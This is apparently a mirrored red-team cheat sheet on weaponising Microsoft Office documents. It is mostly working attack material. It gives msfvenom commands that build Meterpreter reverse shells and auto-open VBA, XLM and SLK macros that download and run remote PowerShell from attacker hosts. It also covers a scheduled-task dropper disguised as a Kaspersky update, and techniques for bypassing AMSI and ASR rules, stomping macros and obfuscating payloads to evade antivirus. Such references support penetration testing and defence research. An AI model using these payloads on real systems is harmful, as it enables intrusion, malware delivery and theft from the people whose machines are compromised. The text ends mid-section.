office-attacks.md (39121B)
1 --- 2 title: "Office - Attacks" 3 section: "Red Team" 4 sectionSlug: "redteam" 5 sourcePath: "docs/redteam/access/office-attacks.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/redteam/access/office-attacks.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Office - Attacks 12 13 ## Summary 14 15 * [Office Products Features](#office-products-features) 16 * [Office Default Passwords](#office-default-passwords) 17 * [Excel](#excel) 18 * [XLSM - Hot Manchego](#xlsm---hot-manchego) 19 * [XLM - Macrome](#xlm---macrome) 20 * [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter) 21 * [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut) 22 * [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec) 23 * [SLK - EXEC](#slk---exec) 24 * [XLL - EXEC](#xll---exec) 25 * [Word](#word) 26 * [DOCM - Metasploit](#docm---metasploit) 27 * [DOCM - Download and Execute](#docm---download-and-execute) 28 * [DOCM - Macro Creator](#docm---macro-creator) 29 * [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro) 30 * [DOCM - VBA Wscript](#docm---vba-wscript) 31 * [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment) 32 * [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task) 33 * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) 34 * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) 35 * [DOCM - BadAssMacros](#docm---badassmacros) 36 * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) 37 * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) 38 * [VBA Obfuscation](#vba-obfuscation) 39 * [VBA Purging](#vba-purging) 40 * [OfficePurge](#officepurge) 41 * [EvilClippy](#evilclippy) 42 * [VBA - Offensive Security Template](#vba---offensive-security-template) 43 * [VBA - AMSI](#vba---amsi) 44 * [DOCX - Template Injection](#docx---template-injection) 45 * [DOCX - DDE](#docx---dde) 46 * [Visual Studio Tools for Office (VSTO)](#visual-studio-tools-for-office-vsto) 47 * [Office Macro Development](#office-macro-development) 48 * [Execute WinAPI](#execute-winapi) 49 * [References](#references) 50 51 ## Office Products Features 52 53  54 55 ## Office Default Passwords 56 57 By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set. 58 59 > If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5) 60 61 | Product | Password | Supported Formats | 62 | ---------- | -------------------- | ----------------- | 63 | Excel | VelvetSweatshop | all Excel formats | 64 | PowerPoint | 01Hannes Ruescher/01 | .pps .ppt | 65 66 ## Excel 67 68 ### XLSM - Hot Manchego 69 70 > When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine. 71 72 * [FortyNorthSecurity/hot-manchego](https://github.com/FortyNorthSecurity/hot-manchego) 73 74 ```ps1 75 Generate CS Macro and save it to Windows as vba.txt 76 PS> New-Item blank.xlsm 77 PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs 78 PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt 79 ``` 80 81 ### XLM - Macrome 82 83 > XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros. 84 85 * [michaelweber/Macrome/Macrome-0.3.0-osx-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip) 86 * [michaelweber/Macrome/Macrome-0.3.0-linux-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip) 87 * [michaelweber/Macrome/Macrome-0.3.0-win-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip) 88 89 ```ps1 90 # NOTE: The payload cannot contains NULL bytes. 91 92 # Default calc 93 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin 94 msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin 95 # Custom shellcode 96 msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00' 97 msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00' 98 # MSF shellcode 99 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin 100 msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin 101 102 dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin 103 dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin 104 105 # For VBA Macro 106 Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop 107 ``` 108 109 When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003. 110 111 ### XLM Excel 4.0 - SharpShooter 112 113 * [mdsecactivebreach/SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) 114 115 ```powershell 116 # Options 117 -rawscfile <path> Path to raw shellcode file for stageless payloads 118 --scfile <path> Path to shellcode file as CSharp byte array 119 python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test 120 121 # Creation of a VBA Macro 122 # creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet. 123 SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl 124 125 # Creation of an Excel 4.0 SLK Macro Enabled Document 126 ~# /!\ The shellcode cannot contain null bytes 127 msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00' 128 SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee 129 130 msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00' 131 SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee 132 ``` 133 134 ### XLM Excel 4.0 - EXCELntDonut 135 136 * XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files. 137 * AMSI has no visibility into XLM macros (for now) 138 * Anti-virus struggles with XLM (for now) 139 * XLM macros can access the Win32 API (virtualalloc, createthread, ...) 140 141 1. Open an Excel Workbook. 142 2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro". 143 3. Open your EXCELntDonut output file in a text editor and copy everything. 144 4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet. 145 5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab. 146 6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished". 147 7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works. 148 8. To enable auto-execution, we need to rename cell A1*to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works. 149 150 :warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1 151 152 ```ps1 153 git clone https://github.com/FortyNorthSecurity/EXCELntDonut 154 155 -f path to file containing your C# source code (exe or dll) 156 -c ClassName where method that you want to call lives (dll) 157 -m Method containing your executable payload (dll) 158 -r References needed to compile your C# code (ex: -r 'System.Management') 159 -o output filename 160 --sandbox Perform basic sandbox checks. 161 --obfuscate Perform basic macro obfuscation. 162 163 # Fork 164 git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py 165 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs 166 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs 167 donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe 168 donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe 169 usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate] 170 python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin 171 ``` 172 173 XLM: [Synzack/synzack.github.io/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md](https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md) 174 175 ### XLM Excel 4.0 - EXEC 176 177 1. Right Click to the current sheet 178 2. Insert a **Macro IntL MS Excel 4.0** 179 3. Add the `EXEC` macro 180 181 ```powershell 182 =EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')") 183 =halt() 184 ``` 185 186 4. Rename cell to **Auto_open** 187 5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide** 188 189 ### SLK - EXEC 190 191 ```ps1 192 ID;P 193 O;E 194 NN;NAuto_open;ER101C1;KOut Flank;F 195 C;X1;Y101;K0;EEXEC("c:\shell.cmd") 196 C;X1;Y102;K0;EHALT() 197 E 198 ``` 199 200 ### XLL - EXEC 201 202 An "XLL" file is a type of file used primarily with Microsoft Excel. It stands for "Excel Add-In Library" and is a dynamic link library (DLL) specifically designed to be loaded into Microsoft Excel. These files extend Excel's functionality by adding extra features, functions, or capabilities that are not available in the standard installation of Excel. 203 204 :warning: Excel is blocking untrusted XLL add-ins by default 205 206 * Compile with: `cl.exe notepadXLL.c /LD /o notepad.xll` 207 208 ```c 209 #include <Windows.h> 210 211 __declspec(dllexport) void __cdecl xlAutoOpen(void); 212 213 void __cdecl xlAutoOpen() { 214 // Triggers when Excel opens 215 WinExec("cmd.exe /c notepad.exe", 1); 216 } 217 218 BOOL APIENTRY DllMain( HMODULE hModule, 219 DWORD ul_reason_for_call, 220 LPVOID lpReserved 221 ) 222 { 223 switch (ul_reason_for_call) 224 { 225 case DLL_PROCESS_ATTACH: 226 case DLL_THREAD_ATTACH: 227 case DLL_THREAD_DETACH: 228 case DLL_PROCESS_DETACH: 229 break; 230 } 231 return TRUE; 232 } 233 ``` 234 235 ## Word 236 237 ### DOCM - Metasploit 238 239 ```ps1 240 use exploit/multi/fileformat/office_word_macro 241 set payload windows/meterpreter/reverse_http 242 set LHOST 10.10.10.10 243 set LPORT 80 244 set DisablePayloadHandler True 245 set PrependMigrate True 246 set FILENAME Financial2021.docm 247 exploit -j 248 ``` 249 250 ### DOCM - Download and Execute 251 252 > Detected by Defender (AMSI) 253 254 ```ps1 255 Sub Execute() 256 Dim payload 257 payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');" 258 Call Shell(payload, vbHide) 259 End Sub 260 Sub Document_Open() 261 Execute 262 End Sub 263 ``` 264 265 ### DOCM - Macro Creator 266 267 * [Arno0x/PowerShellScripts/MacroCreator](https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator) 268 269 ```ps1 270 # Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion: 271 C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body 272 # Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion: 273 C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o 274 # Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion: 275 C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e 276 ``` 277 278 ### DOCM - C# converted to Office VBA macro 279 280 > A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. 281 282 * [trustedsec/unicorn](https://github.com/trustedsec/unicorn) 283 284 ```ps1 285 python unicorn.py payload.cs cs macro 286 ``` 287 288 ### DOCM - VBA Wscript 289 290 ```ps1 291 Sub parent_change() 292 Dim objOL 293 Set objOL = CreateObject("Outlook.Application") 294 Set shellObj = objOL.CreateObject("Wscript.Shell") 295 shellObj.Run("notepad.exe") 296 End Sub 297 Sub AutoOpen() 298 parent_change 299 End Sub 300 Sub Auto_Open() 301 parent_change 302 End Sub 303 ``` 304 305 ```vb 306 CreateObject("WScript.Shell").Run "calc.exe" 307 CreateObject("WScript.Shell").Exec "notepad.exe" 308 ``` 309 310 ### DOCM - VBA Shell Execute Comment 311 312 Set your command payload inside the **Comment** metadata of the document. 313 314 ```vb 315 Sub beautifulcomment() 316 Dim p As DocumentProperty 317 For Each p In ActiveDocument.BuiltInDocumentProperties 318 If p.Name = "Comments" Then 319 Shell (p.Value) 320 End If 321 Next 322 End Sub 323 324 Sub AutoExec() 325 beautifulcomment 326 End Sub 327 328 Sub AutoOpen() 329 beautifulcomment 330 End Sub 331 ``` 332 333 ### DOCM - VBA Spawning via svchost.exe using Scheduled Task 334 335 ```vb 336 Sub AutoOpen() 337 Set service = CreateObject("Schedule.Service") 338 Call service.Connect 339 Dim td: Set td = service.NewTask(0) 340 td.RegistrationInfo.Author = "Kaspersky Corporation" 341 td.settings.StartWhenAvailable = True 342 td.settings.Hidden = False 343 Dim triggers: Set triggers = td.triggers 344 Dim trigger: Set trigger = triggers.Create(1) 345 Dim startTime: ts = DateAdd("s", 30, Now) 346 startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) 347 trigger.StartBoundary = startTime 348 trigger.ID = "TimeTriggerId" 349 Dim Action: Set Action = td.Actions.Create(0) 350 Action.Path = "C:\Windows\System32\powershell.exe" 351 Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" 352 Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3) 353 End Sub 354 Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))" 355 ``` 356 357 ### DOCM - WMI COM functions 358 359 Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)` 360 361 ```vb 362 Sub wmi_exec() 363 strComputer = "." 364 Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 365 Set objStartUp = objWMIService.Get("Win32_ProcessStartup") 366 Set objProc = objWMIService.Get("Win32_Process") 367 Set procStartConfig = objStartUp.SpawnInstance_ 368 procStartConfig.ShowWindow = 1 369 objProc.Create "powershell.exe", Null, procStartConfig, intProcessID 370 End Sub 371 ``` 372 373 * [infosecn1nja/ASR Rules Bypass.vba](https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3) 374 * <https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2> 375 376 ```vb 377 Sub ASR_bypass_create_child_process_rule5() 378 Const HIDDEN_WINDOW = 0 379 strComputer = "." 380 Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2") 381 Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup") 382 Set objConfig = objStartup.SpawnInstance_ 383 objConfig.ShowWindow = HIDDEN_WINDOW 384 Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process") 385 objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID 386 End Sub 387 388 Sub AutoExec() 389 ASR_bypass_create_child_process_rule5 390 End Sub 391 392 Sub AutoOpen() 393 ASR_bypass_create_child_process_rule5 394 End Sub 395 ``` 396 397 ```vb 398 Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" 399 Set SW = GetObject("new:" & ShellWindows).Item() 400 SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0 401 ``` 402 403 ### DOCM/XLM - Macro Pack - Macro and DDE 404 405 > Only the community version is available online. 406 407 * [sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe) 408 409 ```powershell 410 # Options 411 -G, --generate=OUTPUT_FILE_PATH. Generates a file. 412 -t, --template=TEMPLATE_NAME Use code template already included in MacroPack 413 -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) 414 415 # Execute a command 416 echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl 417 418 # Download and execute a file 419 echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls 420 421 # Meterpreter reverse TCP template using MacroMeter by Cn33liz 422 echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm 423 424 # Drop and execute embedded file 425 macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs 426 427 # Obfuscate the vba file generated by msfvenom and put result in a new vba file. 428 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba 429 430 # Obfuscate Empire stager vba file and generate a MS Word document: 431 macro_pack.exe -f empire.vba -o -G myDoc.docm 432 433 # Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe) 434 echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm" 435 436 # Execute calc.exe via Dynamic Data Exchange (DDE) attack 437 echo calc.exe | macro_pack.exe --dde -G calc.xslx 438 439 # Download and execute file via powershell using Dynamic Data Exchange (DDE) attack 440 macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl 441 442 # PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). 443 msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm 444 445 # PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses. 446 msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm 447 448 # PRO: Generate an HTA payload able to run a shellcode via Excel injection 449 echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta 450 echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk 451 452 # PRO: XLM Injection 453 echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel 454 455 # PRO: ShellCode Exec - Heap Injection, AlternativeInjection 456 echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc 457 echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc 458 459 # PRO: More shellcodes 460 echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm –keep-alive 461 echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_auto.doc 462 echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls 463 ``` 464 465 ### DOCM - BadAssMacros 466 467 > C# based automated Malicous Macro Generator. 468 469 * [Inf0secRabbit/BadAssMacros](https://github.com/Inf0secRabbit/BadAssMacros) 470 471 ```powershell 472 BadAssMacros.exe -h 473 474 # Create VBA for classic shellcode injection from raw shellcode 475 BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file> 476 BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt 477 478 # Create VBA for indirect shellcode injection from raw shellcode 479 BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file> 480 481 # List modules inside Doc/Excel file 482 BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l 483 484 # Purge Doc/Excel file 485 BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name> 486 ``` 487 488 ### DOCM - CACTUSTORCH VBA Module 489 490 > CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript 491 492 * [mdsecactivebreach/CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) 493 * [tyranid/DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 494 * [CACTUSTORCH - DotNetToJScript all the things](https://youtu.be/YiaKb8nHFSY) 495 * [CACTUSTORCH - CobaltStrike Aggressor Script Addon](https://www.youtube.com/watch?v=_pwH6a-6yAQ) 496 497 1. Import **.cna** in Cobalt Strike 498 2. Generate a new VBA payload from the CACTUSTORCH menu 499 3. Download DotNetToJscript 500 4. Compile it 501 * **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript 502 * **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test" 503 5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type 504 505 ```ps1 506 DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch 507 ``` 508 509 6. Use the generated code to replace the hardcoded binary in CactusTorch 510 511 ### DOCM - MMG with Custom DL + Exec 512 513 1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe" 514 2. Create a custom binary execute using MMG 515 3. Merge both Macro 516 517 ```ps1 518 git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator 519 python MMG.py configs/generic-cmd.json malicious.vba 520 { 521 "description": "Generic command exec payload\nEvasion technique set to none", 522 "template": "templates/payloads/generic-cmd-template.vba", 523 "varcount": 152, 524 "encodingoffset": 5, 525 "chunksize": 180, 526 "encodedvars": {}, 527 "vars": [], 528 "evasion": ["encoder"], 529 "payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe" 530 } 531 ``` 532 533 ```vb 534 Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 535 536 Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean 537 On Error GoTo Failed 538 DownloadFileA = False 539 'As directory must exist, this is a check 540 If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function 541 Dim returnValue As Long 542 returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0) 543 'If return value is 0 and the file exist, then it is considered as downloaded correctly 544 DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0) 545 Exit Function 546 547 Failed: 548 End Function 549 550 Sub AutoOpen() 551 DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" 552 End Sub 553 554 555 Sub Auto_Open() 556 DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe" 557 End Sub 558 ``` 559 560 ### DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro 561 562 Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control` 563 564 ```vb 565 Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) 566 Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus) 567 End Sub 568 ``` 569 570 ### VBA Obfuscation 571 572 * [bonnetn/vba-obfuscator](https://github.com/bonnetn/vba-obfuscator) [Youtube demo](https://www.youtube.com/watch?v=L0DlPOLx2k0) 573 574 ```ps1 575 cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin 576 ``` 577 578 * [trustedsec/The_Shelf/spinningteacup](https://github.com/trustedsec/The_Shelf/tree/main/Retired/spinningteacup) 579 580 ### VBA Purging 581 582 **VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code. 583 584 :warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format. 585 586 #### OfficePurge 587 588 * [fireeye/OfficePurge](https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe) 589 590 ```powershell 591 OfficePurge.exe -d word -f .\malicious.doc -m NewMacros 592 OfficePurge.exe -d excel -f .\payroll.xls -m Module1 593 OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument 594 OfficePurge.exe -d word -f .\malicious.doc -l 595 ``` 596 597 #### EvilClippy 598 599 > Evil Clippy uses the OpenMCDF library to manipulate CFBF files. 600 > Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. 601 > If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this. 602 603 ```ps1 604 # OSX/Linux 605 mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs 606 # Windows 607 csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs 608 609 EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc 610 EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc 611 EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc 612 613 # make macro code unaccessible is to mark the project as locked and unviewable: -u 614 # Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag. 615 EvilClippy.exe -r macrofile.doc 616 ``` 617 618 ### VBA - Offensive Security Template 619 620 * Reverse Shell VBA - [JohnWoodman/VBA-Macro-Reverse-Shell/VBA-Reverse-Shell.vba](https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba) 621 * Process Dumper - [JohnWoodman/VBA-Macro-Dump-Process](https://github.com/JohnWoodman/VBA-Macro-Dump-Process) 622 * RunPE - [itm4n/VBA-RunPE](https://github.com/itm4n/VBA-RunPE) 623 * Spoof Parent - [py7hagoras/OfficeMacro64](https://github.com/py7hagoras/OfficeMacro64) 624 * AMSI Bypass - [outflanknl/AMSIbypasses.vba](https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba) 625 * amsiByPassWithRTLMoveMemory - [DanShaqFu/amsiByPassWithRTLMoveMemory.vba](https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3) 626 * VBA macro spawning a process with a spoofed parent - [christophetd/spoofing-office-macro/macro64.vba](https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba) 627 628 ### VBA - AMSI 629 630 > The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. [Office VBA + AMSI: Parting the veil on malicious macros by Microsoft Security Team](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/) 631 632  633 634 :warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy). 635 636 The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro 637 638 * AMSI Trigger - 